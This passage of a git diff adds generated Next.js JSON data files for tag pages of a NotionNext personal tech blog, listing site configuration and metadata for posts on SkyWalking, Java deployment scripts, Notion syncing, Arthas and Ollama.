2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}],"tag":"git"},"__N_SSG":true}
\ No newline at end of file
diff --git a/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/skywalking.json b/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/skywalking.json
new file mode 100644
index 000000000..f34a118bc
--- /dev/null
+++ b/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/skywalking.json
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":1,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"tag":"skywalking"},"__N_SSG":true}
\ No newline at end of file
diff --git a/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/spring.json b/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/spring.json
new file mode 100644
index 000000000..9e84cedc1
--- /dev/null
+++ b/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/spring.json
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}]